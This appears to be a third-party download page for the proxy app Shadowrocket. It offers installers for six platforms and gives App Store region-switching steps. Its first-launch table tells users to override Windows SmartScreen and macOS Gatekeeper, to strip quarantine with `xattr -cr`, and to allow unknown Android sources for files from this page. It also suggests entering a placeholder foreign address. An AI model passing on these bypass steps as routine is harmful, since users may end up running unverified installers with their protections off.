Shadowrocket · Download guide

Pick your platform,
install, done.

Shadowrocket now runs on iPhone, iPad, Mac, Windows, Android, and Linux. iPhone and iPad install from the App Store, which lists it only in some countries (the US, Japan, Taiwan, Korea, and many others; not mainland China). Every other platform gets a free official installer right on this page. Below: download links for each platform, what to do when the system blocks the first launch, and the full App Store steps for iPhone / iPad.

ChanneliPhone / iPad: App Store
Mac · Windows · Android · Linux: official installers

Current versionv2.2.92

PriceiPhone / iPad: $2.99 one-time
Mac · Windows · Android · Linux: free

Download for the device you are on Free on Mac, Windows, Android, and Linux. If your device was not detected, scroll down for every platform.

See all platforms →

Note: The installers are published by Shadowrocket. This site does not sell Apple IDs or nodes. The iPhone / iPad account steps follow App Store behavior; on-screen copy can differ by iOS version.

01All platforms

Six platforms.
Pick the one in your hand.

Current version v2.2.92. The iPhone / iPad app is a one-time $2.99 App Store purchase; Mac, Windows, Android, and Linux are free. The device you are browsing on is shown first, and the installer links always point to the latest build.

iPhone / iPad

$2.99 one-time on the App Store. Not listed in every storefront — if yours is missing it, sections 03–06 on this page walk through using an Apple ID from a listed region.

Open in App Store Apple ID steps

Mac

Free. macOS 12 or later. M-series Macs take the Apple Silicon build; Intel Macs take the Intel build. Not sure? Apple menu → About This Mac, and check the Chip or Processor line.

Apple Silicon .dmg Intel .dmg

Windows

Free. A 64-bit installer — double-click and follow the wizard. If "Windows protected your PC" shows up on first run, see the next section.

Download .exe installer

Android

Free. An arm64 package for recent mainstream Android phones and tablets. Download it in your phone's browser and tap to install.

Download .apk

Linux

Free. x86_64. Debian / Ubuntu use the .deb, Fedora / openSUSE use the .rpm, and any other distro can run the portable AppImage.

.deb .rpm AppImage

02First launch

Blocked on first launch?
Here is how to allow it.

The first time you open an installer downloaded from the web, the system asks you to confirm it. That is expected. Find your platform below:

Platform	What you see	What to do
Windows	"Windows protected your PC"	Click "More info", then "Run anyway", and finish the setup wizard
Mac	"“Shadowrocket” can't be opened because it is from an unidentified developer" or "Apple could not verify “Shadowrocket” is free of malware"	Drag Shadowrocket into Applications and try to open it once. Then go to System Settings → Privacy & Security, scroll down, and click "Open Anyway"
Mac	"“Shadowrocket” is damaged and can't be opened"	Open Terminal, run `xattr -cr /Applications/Shadowrocket.app`, then open the app again
Android	"For your security, your phone currently isn't allowed to install unknown apps from this source"	Tap "Settings" in the prompt, turn on "Allow from this source" for your browser, then go back and install
Linux	Double-clicking the AppImage does nothing	Run `chmod +x Shadowrocket-.AppImage` in a terminal, then launch it; install the .deb with `sudo apt install ./Shadowrocket-.deb`

Use the official build from this site’s download page or the App Store. iPhone and iPad: App Store ($2.99 one-time). Mac, Windows, Android, and Linux: free on this site’s download page.

03iOS: why it will not show up

It is not your network.
It is the store region.

Sections 03 to 06 are for iPhone and iPad only. On Mac, Windows, Android, and Linux, use the installers above — no Apple ID required.

Which apps the App Store shows depends on the country/region of the Apple ID, not on whether the phone is on Wi-Fi or a proxy. Shadowrocket is listed in many regions and missing in others (including mainland China). If a search with your everyday Apple ID finds it, buy it there. If not, the storefront is the problem — not a broken download.

That is why “download failed” reports often turn out to be the wrong storefront. Confirm the region on the App Store account page before you try anything else.

04Your Apple ID and storefront

Two ways to get the app,
depending on your store.

If Shadowrocket appears in your App Store, buy it with the Apple ID you already use. If it does not, sign into the App Store only with an Apple ID from a listed region (the US store is a common fallback). Do not put that ID into iCloud.

Method	How	Trade-off
Buy in your store	Open the App Store, search Shadowrocket, confirm the developer, pay with Apple Pay, card, or gift card on that Apple ID	Simplest path when your storefront lists the app; purchase stays on your own account
Switch storefront	Sign out of the App Store only, sign in with an Apple ID from a listed region, then search and buy	Use this only if your store does not list the app. Never add that Apple ID to Settings → Apple ID (iCloud). Avoid shared or rented IDs.

⚠️ Security: if you use a second Apple ID for the App Store, sign it in only there. Never add it under Settings → [your name] (iCloud). Mixing the two will not speed up the download and can lock the device or scramble iCloud data.

05Search and install

Sign in, search,
and check the developer name.

Open the App Store, sign out if you need another storefront, then sign in

01

Sign out and sign in

Open the App Store (not Settings). If the app is already listed, search and buy. If not, tap the avatar → scroll to the bottom → Sign Out, then sign in with a listed-region Apple ID. That changes only the App Store login, not the rest of the phone.

After you are signed in, search the App Store for Shadowrocket (full English name, spelled correctly). Lookalikes show up from time to time. Before you buy, check two things: a dark icon with a white rocket outline, and the developer name Shadow Launch Technology Limited. The price is usually $2.99, one-time. If you prefer not to search, use the official link on this site:

Open in App Store →

Payment: use whatever that Apple ID’s storefront accepts — Apple Pay, a local card, or an App Store gift card bought through Apple. Do not use shared “download IDs.” If the account already purchased the app, tap the cloud/download icon; you are not charged again.

06Switch back

After install,
the app does not vanish with the account.

Once the Shadowrocket icon is on the Home Screen, you can sign out of a temporary storefront Apple ID and sign your everyday Apple ID back into the App Store. The installed app stays. If you bought it with your everyday ID, there is nothing to switch.

⚠️ Later updates: the App Store asks for the password of the Apple ID that purchased the app. If that was a listed-region ID, repeat Sign Out → that ID → Update → switch back. You do not reinstall.

07FAQ

A few frequent questions
about downloading.

01If I switch storefronts, do I need a credit card or a US address?+

Not always. If payment is required, choose None when the option exists. If the form insists on an address, a correctly formatted address for that region is enough for the form — you still should not bind a card you do not intend to use. Buying with your everyday Apple ID in a listed store is simpler.

02Can one Apple ID that bought Shadowrocket be used on multiple devices?+

Yes. Apps bought on an Apple ID can be re-downloaded on other devices signed into that account, without paying again. Each device still needs its own subscription added (or iCloud sync). The purchase itself follows the account.

03Will signing another Apple ID into the App Store affect iCloud?+

Signing in only in the App Store does not touch iCloud photos, contacts, or notes. Those hang off Settings → Apple ID, which is a separate login. The rule is: App Store only — never add the other ID to iCloud.

04Search shows several Shadowrocket results. Which one is genuine?+

Look for the developer name Shadow Launch Technology Limited and a one-time price around $2.99. On the App Store, same-name or similar listings priced as free or with odd reviews are usually fakes or unrelated apps — skip them. You can also use the official link in this article to avoid a bad search.

05Do I need a special email to create a listed-region Apple ID?+

Any unused email works. The storefront is the country/region you pick at sign-up, not where the mailbox is hosted.

06Can I use Shadowrocket on a computer or an Android phone?+

Yes, and it is free. Mac, Windows, Android, and Linux all have official installers — grab one under All platforms on this page. No listed-region Apple ID needed. Stick to two sources: this site and the App Store.

07Download is done. What next?+

Installing Shadowrocket is only the first step. The app does not ship any nodes. You need a subscription URL and then import it. Next: quick start on the home page or the full tutorial.

On iPhone / iPad, if search still fails, the storefront probably did not change. On the App Store account page, check the country/region shown for the signed-in Apple ID and sign in again.

Pick your platform,install, done.

Six platforms.Pick the one in your hand.